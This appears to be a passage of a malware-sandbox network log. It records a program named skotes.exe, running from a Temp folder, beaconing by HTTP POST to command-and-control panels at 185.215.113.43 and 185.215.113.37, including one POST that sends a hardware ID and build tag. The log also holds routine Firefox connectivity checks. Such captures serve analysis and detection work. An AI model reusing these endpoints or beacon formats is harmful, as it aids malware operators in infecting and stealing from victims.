Oct 22, 2024 19:26:04.771194935 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64440 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:05.264287949 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:05.391211033 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:05.920016050 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:06.047307014 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:06.356942892 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:06.559632063 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:06.687042952 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64442 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:07.189683914 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:07.317892075 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64443 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:09.063097954 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:09.190967083 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64445 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:12.499850035 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:12.627027988 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64448 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49987	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:03.462424994 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:26:04.355734110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	50012	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:05.932667017 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:26:06.856583118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50028	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:08.496352911 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:26:09.425863981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.8	50038	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:09.998315096 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:26:10.919739008 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:26:10.927018881 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="build"doma------JDGIECGIEBKJJJJKEGHJ--
Oct 22, 2024 19:26:11.216084957 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	50044	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:10.954477072 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:26:11.873636007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50061	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:13.510205984 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	50070	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:15.040983915 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:26:15.950927973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50086	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:17.579447985 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:26:18.487859964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50096	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:20.183892012 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:26:21.155783892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50102	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:22.941605091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:26:23.858338118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.8	50104	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:23.005521059 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:23.612385035 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64459 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.8	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:23.636414051 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:24.465251923 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:24.466181040 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:24.562895060 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:24.690541983 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:24.734683990 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:24.860615969 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:24.872615099 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:24.998157024 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:25.219614983 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82279 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:25.461287022 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:25.586862087 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82280 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:26.292432070 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:26.418708086 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82281 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:26.900075912 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:27.025695086 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82281 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:27.631439924 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
